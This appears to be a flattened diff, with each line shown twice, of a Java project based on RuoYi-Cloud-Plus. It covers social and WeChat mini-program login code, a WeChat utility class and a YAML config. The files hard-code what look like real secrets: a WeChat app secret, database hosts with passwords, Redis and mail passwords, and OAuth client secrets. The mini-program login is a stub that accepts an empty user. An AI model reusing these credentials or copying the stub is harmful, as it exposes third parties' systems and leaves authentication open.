HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Cloud-Plus") HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Cloud-Plus")
.formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken())) .formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken()))
.executeAsync(); .executeAsync();
} }
List<SysSocialVo> list = sysSocialService.selectByAuthId(authUserData.getSource() + authUserData.getUuid()); List<SysSocialVo> list = sysSocialService.selectByAuthId(authUserData.getSource() + authUserData.getUuid());
if (CollUtil.isEmpty(list)) { if (CollUtil.isEmpty(list)) {
throw new ServiceException("你还没有绑定第三方账号,绑定后才可以登录!"); throw new ServiceException("你还没有绑定第三方账号,绑定后才可以登录!");
} }
SysSocialVo social; SysSocialVo social;
if (TenantHelper.isEnable()) { if (TenantHelper.isEnable()) {
Optional<SysSocialVo> opt = StreamUtils.findAny(list, x -> x.getTenantId().equals(loginBody.getTenantId())); Optional<SysSocialVo> opt = StreamUtils.findAny(list, x -> x.getTenantId().equals(loginBody.getTenantId()));
if (opt.isEmpty()) { if (opt.isEmpty()) {
throw new ServiceException("对不起,你没有权限登录当前租户!"); throw new ServiceException("对不起,你没有权限登录当前租户!");
} }
social = opt.get(); social = opt.get();
} else { } else {
social = list.get(0); social = list.get(0);
} }
LoginUser loginUser = TenantHelper.dynamic(social.getTenantId(), () -> { LoginUser loginUser = TenantHelper.dynamic(social.getTenantId(), () -> {
SysUserVo user = loadUser(social.getUserId()); SysUserVo user = loadUser(social.getUserId());
// 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了
return loginService.buildLoginUser(user); return loginService.buildLoginUser(user);
}); });
loginUser.setClientKey(client.getClientKey()); loginUser.setClientKey(client.getClientKey());
loginUser.setDeviceType(client.getDeviceType()); loginUser.setDeviceType(client.getDeviceType());
SaLoginModel model = new SaLoginModel(); SaLoginModel model = new SaLoginModel();
model.setDevice(client.getDeviceType()); model.setDevice(client.getDeviceType());
// 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置
// 例如: 后台用户30分钟过期 app用户1天过期 // 例如: 后台用户30分钟过期 app用户1天过期
model.setTimeout(client.getTimeout()); model.setTimeout(client.getTimeout());
model.setActiveTimeout(client.getActiveTimeout()); model.setActiveTimeout(client.getActiveTimeout());
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId());
// 生成token // 生成token
LoginHelper.login(loginUser, model); LoginHelper.login(loginUser, model);
LoginVo loginVo = new LoginVo(); LoginVo loginVo = new LoginVo();
loginVo.setAccessToken(StpUtil.getTokenValue()); loginVo.setAccessToken(StpUtil.getTokenValue());
loginVo.setExpireIn(StpUtil.getTokenTimeout()); loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId()); loginVo.setClientId(client.getClientId());
return loginVo; return loginVo;
} }
private SysUserVo loadUser(Long userId) { private SysUserVo loadUser(Long userId) {
SysUserVo user = userMapper.selectVoById(userId); SysUserVo user = userMapper.selectVoById(userId);
if (ObjectUtil.isNull(user)) { if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 不存在.", ""); log.info("登录用户:{} 不存在.", "");
throw new UserException("user.not.exists", ""); throw new UserException("user.not.exists", "");
} else if (SystemConstants.DISABLE.equals(user.getStatus())) { } else if (SystemConstants.DISABLE.equals(user.getStatus())) {
log.info("登录用户:{} 已被停用.", ""); log.info("登录用户:{} 已被停用.", "");
throw new UserException("user.blocked", ""); throw new UserException("user.blocked", "");
} }
return user; return user;
} }
} }

View File

@@ -1,91 +1,91 @@
package org.dromara.web.service.impl; package org.dromara.web.service.impl;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.model.XcxLoginBody; import org.dromara.common.core.domain.model.XcxLoginBody;
import org.dromara.common.core.domain.model.XcxLoginUser; import org.dromara.common.core.domain.model.XcxLoginUser;
import org.dromara.common.core.utils.ValidatorUtils; import org.dromara.common.core.utils.ValidatorUtils;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysUserVo; import org.dromara.system.domain.vo.SysUserVo;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
/** /**
* 小程序认证策略 * 小程序认证策略
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Slf4j @Slf4j
@Service("xcx" + IAuthStrategy.BASE_NAME) @Service("xcx" + IAuthStrategy.BASE_NAME)
@RequiredArgsConstructor @RequiredArgsConstructor
public class XcxAuthStrategy implements IAuthStrategy { public class XcxAuthStrategy implements IAuthStrategy {
private final SysLoginService loginService; private final SysLoginService loginService;
@Override @Override
public LoginVo login(String body, SysClientVo client) { public LoginVo login(String body, SysClientVo client) {
XcxLoginBody loginBody = JsonUtils.parseObject(body, XcxLoginBody.class); XcxLoginBody loginBody = JsonUtils.parseObject(body, XcxLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
// xcxCode 为 小程序调用 wx.login 授权后获取 // xcxCode 为 小程序调用 wx.login 授权后获取
String xcxCode = loginBody.getXcxCode(); String xcxCode = loginBody.getXcxCode();
// 多个小程序识别使用 // 多个小程序识别使用
String appid = loginBody.getAppid(); String appid = loginBody.getAppid();
// todo 以下自行实现 // todo 以下自行实现
// 校验 appid + appsrcret + xcxCode 调用登录凭证校验接口 获取 session_key 与 openid // 校验 appid + appsrcret + xcxCode 调用登录凭证校验接口 获取 session_key 与 openid
String openid = ""; String openid = "";
// 框架登录不限制从什么表查询 只要最终构建出 LoginUser 即可 // 框架登录不限制从什么表查询 只要最终构建出 LoginUser 即可
SysUserVo user = loadUserByOpenid(openid); SysUserVo user = loadUserByOpenid(openid);
// 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了
XcxLoginUser loginUser = new XcxLoginUser(); XcxLoginUser loginUser = new XcxLoginUser();
loginUser.setTenantId(user.getTenantId()); loginUser.setTenantId(user.getTenantId());
loginUser.setUserId(user.getUserId()); loginUser.setUserId(user.getUserId());
loginUser.setUsername(user.getUserName()); loginUser.setUsername(user.getUserName());
loginUser.setNickname(user.getNickName()); loginUser.setNickname(user.getNickName());
loginUser.setUserType(user.getUserType()); loginUser.setUserType(user.getUserType());
loginUser.setClientKey(client.getClientKey()); loginUser.setClientKey(client.getClientKey());
loginUser.setDeviceType(client.getDeviceType()); loginUser.setDeviceType(client.getDeviceType());
loginUser.setOpenid(openid); loginUser.setOpenid(openid);
SaLoginModel model = new SaLoginModel(); SaLoginModel model = new SaLoginModel();
model.setDevice(client.getDeviceType()); model.setDevice(client.getDeviceType());
// 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置
// 例如: 后台用户30分钟过期 app用户1天过期 // 例如: 后台用户30分钟过期 app用户1天过期
model.setTimeout(client.getTimeout()); model.setTimeout(client.getTimeout());
model.setActiveTimeout(client.getActiveTimeout()); model.setActiveTimeout(client.getActiveTimeout());
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId());
// 生成token // 生成token
LoginHelper.login(loginUser, model); LoginHelper.login(loginUser, model);
LoginVo loginVo = new LoginVo(); LoginVo loginVo = new LoginVo();
loginVo.setAccessToken(StpUtil.getTokenValue()); loginVo.setAccessToken(StpUtil.getTokenValue());
loginVo.setExpireIn(StpUtil.getTokenTimeout()); loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId()); loginVo.setClientId(client.getClientId());
loginVo.setOpenid(openid); loginVo.setOpenid(openid);
return loginVo; return loginVo;
} }
private SysUserVo loadUserByOpenid(String openid) { private SysUserVo loadUserByOpenid(String openid) {
// 使用 openid 查询绑定用户 如未绑定用户 则根据业务自行处理 例如 创建默认用户 // 使用 openid 查询绑定用户 如未绑定用户 则根据业务自行处理 例如 创建默认用户
// todo 自行实现 userService.selectUserByOpenid(openid); // todo 自行实现 userService.selectUserByOpenid(openid);
SysUserVo user = new SysUserVo(); SysUserVo user = new SysUserVo();
if (ObjectUtil.isNull(user)) { if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 不存在.", openid); log.info("登录用户:{} 不存在.", openid);
// todo 用户不存在 业务逻辑自行实现 // todo 用户不存在 业务逻辑自行实现
} else if (SystemConstants.DISABLE.equals(user.getStatus())) { } else if (SystemConstants.DISABLE.equals(user.getStatus())) {
log.info("登录用户:{} 已被停用.", openid); log.info("登录用户:{} 已被停用.", openid);
// todo 用户已被停用 业务逻辑自行实现 // todo 用户已被停用 业务逻辑自行实现
} }
return user; return user;
} }
} }

View File

@@ -1,122 +1,122 @@
package org.dromara.web.utils; package org.dromara.web.utils;
import cn.hutool.core.util.RandomUtil; import cn.hutool.core.util.RandomUtil;
import cn.hutool.crypto.digest.DigestUtil; import cn.hutool.crypto.digest.DigestUtil;
import cn.hutool.http.HttpRequest; import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpUtil; import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.JSONObject;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import java.util.*; import java.util.*;
/** /**
* 微信小程序工具类 * 微信小程序工具类
* @author Maosw * @author Maosw
*/ */
public class WxXcxUtils { public class WxXcxUtils {
private static final String APPID = "wxc4ed85cf2d8bdc63"; private static final String APPID = "wxc4ed85cf2d8bdc63";
private static final String SECRET = "787dcb857129514c4eae72501a3acb18"; private static final String SECRET = "787dcb857129514c4eae72501a3acb18";
private static final String TICKET_URL = "https://api.weixin.qq.com"; private static final String TICKET_URL = "https://api.weixin.qq.com";
/** /**
* 获取access_token * 获取access_token
*/ */
public static String getAccessToken(){ public static String getAccessToken(){
String url = TICKET_URL + "/cgi-bin/token?grant_type=client_credential&appid=" + APPID + "&secret=" + SECRET; String url = TICKET_URL + "/cgi-bin/token?grant_type=client_credential&appid=" + APPID + "&secret=" + SECRET;
String result = HttpUtil.get(url); String result = HttpUtil.get(url);
JSONObject jsonObject = JSONObject.parseObject(result); JSONObject jsonObject = JSONObject.parseObject(result);
return jsonObject.getString("access_token"); return jsonObject.getString("access_token");
} }
/** /**
* 获取用户手机号码 * 获取用户手机号码
*/ */
public static JSONObject getUserPhoneNumber(String code){ public static JSONObject getUserPhoneNumber(String code){
String accessToken = getAccessToken(); String accessToken = getAccessToken();
String url = TICKET_URL + "/wxa/business/getuserphonenumber?access_token="+accessToken; String url = TICKET_URL + "/wxa/business/getuserphonenumber?access_token="+accessToken;
JSONObject json = new JSONObject(); JSONObject json = new JSONObject();
json.put("code", code); json.put("code", code);
String result = HttpRequest.post(url).body(json.toString()).execute().body(); String result = HttpRequest.post(url).body(json.toString()).execute().body();
JSONObject jsonObject = JSONObject.parseObject(result); JSONObject jsonObject = JSONObject.parseObject(result);
return jsonObject; return jsonObject;
} }
/** /**
* 获取jsapi_ticket * 获取jsapi_ticket
*/ */
public static String getJsapiTicket() { public static String getJsapiTicket() {
String accessToken = getAccessToken(); String accessToken = getAccessToken();
String url = TICKET_URL + "/cgi-bin/ticket/getticket?access_token=" + accessToken + "&type=jsapi"; String url = TICKET_URL + "/cgi-bin/ticket/getticket?access_token=" + accessToken + "&type=jsapi";
String result = HttpUtil.get(url); String result = HttpUtil.get(url);
JSONObject jsonObject = JSONObject.parseObject(result); JSONObject jsonObject = JSONObject.parseObject(result);
return jsonObject.getString("ticket"); return jsonObject.getString("ticket");
} }
/** /**
* 获取小程序二维码 * 获取小程序二维码
* @param scene 场景值ID * @param scene 场景值ID
* @param page 页面路径 * @param page 页面路径
* @param width 二维码宽度 * @param width 二维码宽度
* @return 二维码图片的二进制数据 * @return 二维码图片的二进制数据
*/ */
public static byte[] getQrCode(String scene, String page, int width) { public static byte[] getQrCode(String scene, String page, int width) {
String accessToken = getAccessToken(); String accessToken = getAccessToken();
String url = TICKET_URL + "/wxa/getwxacodeunlimit?access_token=" + accessToken; String url = TICKET_URL + "/wxa/getwxacodeunlimit?access_token=" + accessToken;
JSONObject json = new JSONObject(); JSONObject json = new JSONObject();
json.put("scene", scene); json.put("scene", scene);
json.put("page", page); json.put("page", page);
json.put("width", width); json.put("width", width);
String result = HttpRequest.post(url).body(json.toString()).execute().body(); String result = HttpRequest.post(url).body(json.toString()).execute().body();
return result.getBytes(); return result.getBytes();
} }
/** /**
* 生成签名 * 生成签名
* @param url 当前网页的URL * @param url 当前网页的URL
* @return 签名信息 * @return 签名信息
*/ */
public static Map<String, String> generateSignature(String url) { public static Map<String, String> generateSignature(String url) {
if (StringUtils.isEmpty(url)) { if (StringUtils.isEmpty(url)) {
throw new IllegalArgumentException("URL不能为空"); throw new IllegalArgumentException("URL不能为空");
} }
// 获取jsapi_ticket // 获取jsapi_ticket
String jsapiTicket = getJsapiTicket(); String jsapiTicket = getJsapiTicket();
// 生成随机字符串 // 生成随机字符串
String nonceStr = RandomUtil.randomString(16); String nonceStr = RandomUtil.randomString(16);
// 生成时间戳 // 生成时间戳
String timestamp = String.valueOf(System.currentTimeMillis() / 1000); String timestamp = String.valueOf(System.currentTimeMillis() / 1000);
// 准备签名参数 // 准备签名参数
Map<String, String> params = new TreeMap<>(); Map<String, String> params = new TreeMap<>();
params.put("jsapi_ticket", jsapiTicket); params.put("jsapi_ticket", jsapiTicket);
params.put("noncestr", nonceStr); params.put("noncestr", nonceStr);
params.put("timestamp", timestamp); params.put("timestamp", timestamp);
params.put("url", url); params.put("url", url);
// 拼接字符串 // 拼接字符串
StringBuilder stringBuilder = new StringBuilder(); StringBuilder stringBuilder = new StringBuilder();
for (Map.Entry<String, String> entry : params.entrySet()) { for (Map.Entry<String, String> entry : params.entrySet()) {
stringBuilder.append(entry.getKey()).append("=").append(entry.getValue()).append("&"); stringBuilder.append(entry.getKey()).append("=").append(entry.getValue()).append("&");
} }
String string1 = stringBuilder.substring(0, stringBuilder.length() - 1); String string1 = stringBuilder.substring(0, stringBuilder.length() - 1);
// 生成签名 // 生成签名
String signature = DigestUtil.sha1Hex(string1); String signature = DigestUtil.sha1Hex(string1);
// 返回结果 // 返回结果
Map<String, String> result = new HashMap<>(); Map<String, String> result = new HashMap<>();
result.put("timestamp", timestamp); result.put("timestamp", timestamp);
result.put("nonceStr", nonceStr); result.put("nonceStr", nonceStr);
result.put("signature", signature); result.put("signature", signature);
result.put("appId", APPID); result.put("appId", APPID);
return result; return result;
} }
} }

View File

@@ -1,255 +1,251 @@
--- # 监控中心配置 --- # 监控中心配置
spring.boot.admin.client: spring.boot.admin.client:
# 增加客户端开关 # 增加客户端开关
enabled: true enabled: true
url: http://localhost:9090 url: http://localhost:9090
instance: instance:
service-host-type: IP service-host-type: IP
metadata: metadata:
username: ${spring.boot.admin.client.username} username: ${spring.boot.admin.client.username}
userpassword: ${spring.boot.admin.client.password} userpassword: ${spring.boot.admin.client.password}
username: @monitor.username@ username: @monitor.username@
password: @monitor.password@ password: @monitor.password@
--- # snail-job 配置 --- # snail-job 配置
snail-job: snail-job:
enabled: true enabled: false
# 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务 # 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务
group: "ruoyi_group" group: "ruoyi_group"
# SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表 # SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表
token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT" token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT"
server: server:
host: 127.0.0.1 host: 127.0.0.1
port: 17888 port: 17888
# 详见 script/sql/snail_job.sql `sj_namespace` 表 # 详见 script/sql/snail_job.sql `sj_namespace` 表
namespace: ${spring.profiles.active} namespace: ${spring.profiles.active}
# 随主应用端口飘逸 # 随主应用端口飘逸
port: 2${server.port} port: 2${server.port}
# 客户端ip指定 # 客户端ip指定
host: 127.0.0.1 host: 127.0.0.1
--- # 数据源配置 --- # 数据源配置
spring: spring:
datasource: datasource:
type: com.zaxxer.hikari.HikariDataSource type: com.zaxxer.hikari.HikariDataSource
# 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content # 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content
dynamic: dynamic:
# 性能分析插件(有性能损耗 不建议生产环境使用) # 性能分析插件(有性能损耗 不建议生产环境使用)
p6spy: true p6spy: true
# 设置默认的数据源或者数据源组,默认值即为 master # 设置默认的数据源或者数据源组,默认值即为 master
primary: master primary: master
# 严格模式 匹配不到数据源则报错 # 严格模式 匹配不到数据源则报错
strict: true strict: true
datasource: datasource:
# 主库数据源 # 主库数据源
master: master:
type: ${spring.datasource.type} type: ${spring.datasource.type}
driverClassName: com.mysql.cj.jdbc.Driver driverClassName: com.mysql.cj.jdbc.Driver
# jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562 # jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562
# rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题) # rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题)
url: jdbc:mysql://123.60.57.176:3306/sjzxerp20250618?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true url: jdbc:mysql://192.168.1.203:3306/oademo?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&serverTimezone=GMT%2B8&autoReconnect=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true
username: sjzx0618 username: oademo
password: 2b1%Hk3#1Uolol password: 68i5XDFNXwWX2Fxd
# url: jdbc:mysql://localhost:13306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true # url: jdbc:mysql://localhost:13306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
# username: root # username: root
# password: root # password: root
# 从库数据源 # 从库数据源
slave: slave:
lazy: false lazy: false
type: ${spring.datasource.type} type: ${spring.datasource.type}
driverClassName: com.mysql.cj.jdbc.Driver driverClassName: com.mysql.cj.jdbc.Driver
url: jdbc:mysql://123.60.57.176:3306/sjzxerp20250618?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true url: jdbc:mysql://jcs-mysql.52o.site:13306/erpdemo20260109?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
username: sjzx0618 username: erpdemo20260109
password: 2b1%Hk3#1Uolol password: s5y46y76P2S5753T
# url: jdbc:mysql://localhost:13306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true hikari:
# username: root # 最大连接池数量
# password: root maxPoolSize: 20
# 最小空闲线程数量
hikari: minIdle: 10
# 最大连接池数量 # 配置获取连接等待超时的时间
maxPoolSize: 20 connectionTimeout: 30000
# 最小空闲线程数量 # 校验超时时间
minIdle: 10 validationTimeout: 5000
# 配置获取连接等待超时的时间 # 空闲连接存活最大时间默认10分钟
connectionTimeout: 30000 idleTimeout: 600000
# 校验超时时间 # 此属性控制池中连接的最长生命周期值0表示无限生命周期默认30分钟
validationTimeout: 5000 maxLifetime: 1800000
# 空闲连接存活最大时间默认10分钟 # 多久检查一次连接的活性
idleTimeout: 600000 keepaliveTime: 30000
# 此属性控制池中连接的最长生命周期值0表示无限生命周期默认30分钟
maxLifetime: 1800000 --- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉)
# 多久检查一次连接的活性 spring.data:
keepaliveTime: 30000 redis:
# 地址
--- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉) host: jcs-mysql.52o.site
spring.data: # 端口默认为6379
redis: port: 26739
# 地址 # 数据库索引
host: localhost database: 1
# 端口默认为6379 # redis 密码必须配置
port: 6379 password: 3NpZYtRLr6EnfASr
# 数据库索引 # 连接超时时间
database: 1 timeout: 10s
# redis 密码必须配置 # 是否开启ssl
password: Huitu123 ssl.enabled: false
# 连接超时时间
timeout: 10s # redisson 配置
# 是否开启ssl redisson:
ssl.enabled: false # redis key前缀
keyPrefix:
# redisson 配置 # 线程池数量
redisson: threads: 4
# redis key前缀 # Netty线程池数量
keyPrefix: nettyThreads: 8
# 线程池数量 # 单节点配置
threads: 4 singleServerConfig:
# Netty线程池数量 # 客户端名称
nettyThreads: 8 clientName: ${ruoyi.name}
# 单节点配置 # 最小空闲连接数
singleServerConfig: connectionMinimumIdleSize: 8
# 客户端名称 # 连接池大小
clientName: ${ruoyi.name} connectionPoolSize: 32
# 最小空闲连接数 # 连接空闲超时,单位:毫秒
connectionMinimumIdleSize: 8 idleConnectionTimeout: 10000
# 连接池大小 # 命令等待超时,单位:毫秒
connectionPoolSize: 32 timeout: 3000
# 连接空闲超时,单位:毫秒 # 发布和订阅连接池大小
idleConnectionTimeout: 10000 subscriptionConnectionPoolSize: 50
# 命令等待超时,单位:毫秒
timeout: 3000 --- # mail 邮件发送
# 发布和订阅连接池大小 mail:
subscriptionConnectionPoolSize: 50 enabled: false
host: smtp.163.com
--- # mail 邮件发送 port: 25
mail: # 是否需要用户名密码验证
enabled: false auth: true
host: smtp.163.com # 发送方遵循RFC-822标准
port: 25 from: admin@163.com
# 是否需要用户名密码验证 # 用户名注意如果使用foxmail邮箱此处user为qq号
auth: true user: admin@163.com
# 发送方遵循RFC-822标准 # 密码注意某些邮箱需要为SMTP服务单独设置密码详情查看相关帮助
from: admin@163.com pass: LGj5ingctYT2SNJS
# 用户名注意如果使用foxmail邮箱此处user为qq号 # 使用 STARTTLS安全连接STARTTLS是对纯文本通信协议的扩展。
user: admin@163.com starttlsEnable: false
# 密码注意某些邮箱需要为SMTP服务单独设置密码详情查看相关帮助 # 使用SSL安全连接
pass: LGj5ingctYT2SNJS sslEnable: false
# 使用 STARTTLS安全连接STARTTLS是对纯文本通信协议的扩展。 # SMTP超时时长单位毫秒缺省值不超时
starttlsEnable: false timeout: 0
# 使用SSL安全连接 # Socket连接超时值单位毫秒缺省值不超时
sslEnable: false connectionTimeout: 0
# SMTP超时时长单位毫秒缺省值不超时
timeout: 0 --- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商
# Socket连接超时值单位毫秒缺省值不超时 # https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用
connectionTimeout: 0 sms:
# 配置源类型用于标定配置来源(interface,yaml)
--- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商 config-type: yaml
# https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用 # 用于标定yml中的配置是否开启短信拦截接口配置不受此限制
sms: restricted: true
# 配置源类型用于标定配置来源(interface,yaml) # 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效
config-type: yaml minute-max: 1
# 用于标定yml中的配置是否开启短信拦截接口配置不受此限制 # 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效
restricted: true account-max: 30
# 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效 # 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中
minute-max: 1 blends:
# 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效 # 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可
account-max: 30 # 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户
# 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中 config1:
blends: # 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分
# 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可 supplier: alibaba
# 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户 # 有些称为accessKey有些称之为apiKey也有称为sdkKey或者appId。
config1: access-key-id: 您的accessKey
# 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 # 称为accessSecret有些称之为apiSecret
supplier: alibaba access-key-secret: 您的accessKeySecret
# 有些称为accessKey有些称之为apiKey也有称为sdkKey或者appId。 signature: 您的短信签名
access-key-id: 您的accessKey sdk-app-id: 您的sdkAppId
# 称为accessSecret有些称之为apiSecret config2:
access-key-secret: 您的accessKeySecret # 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分
signature: 您的短信签名 supplier: tencent
sdk-app-id: 您的sdkAppId access-key-id: 您的accessKey
config2: access-key-secret: 您的accessKeySecret
# 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 signature: 您的短信签名
supplier: tencent sdk-app-id: 您的sdkAppId
access-key-id: 您的accessKey
access-key-secret: 您的accessKeySecret
signature: 您的短信签名 --- # 三方授权
sdk-app-id: 您的sdkAppId justauth:
# 前端外网访问地址
address: http://localhost:80
--- # 三方授权 type:
justauth: maxkey:
# 前端外网访问地址 # maxkey 服务器地址
address: http://localhost:80 # 注意 如下均配置均不需要修改 maxkey 已经内置好了数据
type: server-url: http://sso.maxkey.top
maxkey: client-id: 876892492581044224
# maxkey 服务器地址 client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8
# 注意 如下均配置均不需要修改 maxkey 已经内置好了数据 redirect-uri: ${justauth.address}/social-callback?source=maxkey
server-url: http://sso.maxkey.top topiam:
client-id: 876892492581044224 # topiam 服务器地址
client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8 server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol
redirect-uri: ${justauth.address}/social-callback?source=maxkey client-id: 449c4*********937************759
topiam: client-secret: ac7***********1e0************28d
# topiam 服务器地址 redirect-uri: ${justauth.address}/social-callback?source=topiam
server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol scopes: [openid, email, phone, profile]
client-id: 449c4*********937************759 qq:
client-secret: ac7***********1e0************28d client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=topiam client-secret: 1f7d08**********5b7**********29e
scopes: [openid, email, phone, profile] redirect-uri: ${justauth.address}/social-callback?source=qq
qq: union-id: false
client-id: 10**********6 weibo:
client-secret: 1f7d08**********5b7**********29e client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=qq client-secret: 1f7d08**********5b7**********29e
union-id: false redirect-uri: ${justauth.address}/social-callback?source=weibo
weibo: gitee:
client-id: 10**********6 client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98
client-secret: 1f7d08**********5b7**********29e client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac
redirect-uri: ${justauth.address}/social-callback?source=weibo redirect-uri: ${justauth.address}/social-callback?source=gitee
gitee: dingtalk:
client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98 client-id: 10**********6
client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=gitee redirect-uri: ${justauth.address}/social-callback?source=dingtalk
dingtalk: baidu:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=dingtalk redirect-uri: ${justauth.address}/social-callback?source=baidu
baidu: csdn:
